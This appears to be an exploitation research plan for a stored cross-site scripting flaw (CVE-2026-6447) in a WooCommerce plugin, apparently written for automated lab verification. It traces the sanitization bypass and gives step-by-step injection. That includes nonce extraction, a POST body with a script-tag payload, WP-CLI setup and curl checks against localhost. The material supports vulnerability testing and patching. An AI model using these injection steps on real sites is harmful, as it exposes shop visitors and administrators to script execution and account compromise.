Exploitation Research Plan: CVE-2026-6447

1. Vulnerability Summary

The Call for Price for WooCommerce plugin (up to version 4.2.0) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin explicitly bypasses WooCommerce's standard setting sanitization for specific textarea fields. This allows an administrator (or any user with access to plugin settings) to inject arbitrary HTML and scripts. While administrators usually have the unfiltered_html capability, this vulnerability is critical in WordPress Multisite environments or installations where DISALLOW_UNFILTERED_HTML is enabled, as it allows bypass of those restrictions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple
• Vulnerable Parameter: alg_wc_call_for_price_text_simple_single (and other related textarea fields for different product types/views).
• Authentication: Administrator+ level permissions.
• Preconditions:
  • WooCommerce must be installed and active.
  • unfiltered_html must be disabled (standard in Multisite or via define( 'DISALLOW_UNFILTERED_HTML', true );) to demonstrate the bypass of security controls.
  • A product must exist with no price set to trigger the frontend rendering of the "Call for Price" label.

3. Code Flow

1. Registration: In includes/admin/class-wc-call-for-price-settings-product-types.php, the plugin registers a filter on woocommerce_admin_settings_sanitize_option in the constructor:

   add_filter( 'woocommerce_admin_settings_sanitize_option', array( $this, 'unclean_custom_textarea' ), PHP_INT_MAX, 3 );
   

2. Sanitization Bypass: The method unclean_custom_textarea explicitly returns the $raw_value without any sanitization if the option type is alg_wc_call_for_price_textarea:

   public function unclean_custom_textarea( $value, $option, $raw_value ) {
       return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value;
   }
   

3. Setting Identification: In generate_settings_section(), the textarea for the single product page is defined with the ID pattern: alg_wc_call_for_price_text_simple_single and type alg_wc_call_for_price_textarea.
4. Rendering: On the frontend, in includes/class-wc-call-for-price.php, the plugin retrieves these options using get_option() and outputs them to the page when a product has no price. The lack of esc_html() or strict wp_kses() on the frontend allows the stored script to execute.

4. Nonce Acquisition Strategy

This exploit targets a standard WooCommerce settings page. WooCommerce protects these settings with a WordPress nonce.

1. Navigate: Use browser_navigate to go to: /wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple.
2. Extract: Use browser_eval to extract the nonce from the hidden input field _wpnonce.

   document.querySelector('input[name="_wpnonce"]').value
   

3. Alternative: If the settings are saved via AJAX (less common for standard WC tabs but possible), look for the wc_settings_params localized script.

5. Exploitation Strategy

Step 1: Preparation

1. Create a Simple Product with an empty price using WP-CLI.
2. Disable unfiltered_html to confirm the vulnerability.

Step 2: Injection

1. Log into the WordPress admin panel.
2. Navigate to the plugin settings page.
3. Capture the _wpnonce.
4. Send a POST request to /wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple with the following payload:
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Body Parameters:
     • _wpnonce: [EXTRACTED_NONCE]
     • _wp_http_referer: /wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple
     • alg_wc_call_for_price_text_simple_single: <strong>Call for Price</strong><script>alert(document.domain)</script>
     • save: Save changes

Step 3: Triggering

1. Navigate to the frontend URL of the product created in Step 1.
2. Observe the execution of the JavaScript payload.

6. Test Data Setup

# 1. Ensure WooCommerce is active (prerequisite)
wp plugin activate woocommerce

# 2. Create a product with no price
PRODUCT_ID=$(wp post create --post_type=product --post_title="Vulnerable Product" --post_status=publish --porcelain)
wp post meta set $PRODUCT_ID _price ""
wp post meta set $PRODUCT_ID _regular_price ""

# 3. Enable the plugin and global settings
wp option update alg_wc_call_for_price_enabled "yes"
wp option update alg_wc_call_for_price_simple_enabled "yes"
wp option update alg_wc_call_for_price_simple_single_enabled "yes"

# 4. Disable unfiltered_html for the session/environment
# This is usually done in wp-config.php, but for PoC we can simulate via a filter if needed 
# or just proceed as Administrator in a Multisite-like context.

7. Expected Results

• The POST request to the settings page should return a 302 Redirect back to the settings page with settings-updated=1.
• The database option alg_wc_call_for_price_text_simple_single will contain the raw <script> tag.
• When viewing the product page, the HTML source will contain the unescaped script tag, and the browser will trigger the alert().

8. Verification Steps

# Check if the payload is stored exactly as sent
wp option get alg_wc_call_for_price_text_simple_single
# Expected: <strong>Call for Price</strong><script>alert(document.domain)</script>

# Verify on frontend (via CLI to see raw HTML)
curl -s http://localhost:8080/?p=$PRODUCT_ID | grep -F "alert(document.domain)"

9. Alternative Approaches

If the simple section is not the default, the payload can be sent to the general settings tab alg_wc_call_for_price or any other product type section (variable, grouped, external).

If the site has a custom theme that overrides WooCommerce templates, the injection point might differ, but the logic in includes/class-wc-call-for-price.php hooks into woocommerce_get_price_html, which is the standard WooCommerce hook for price display across almost all themes.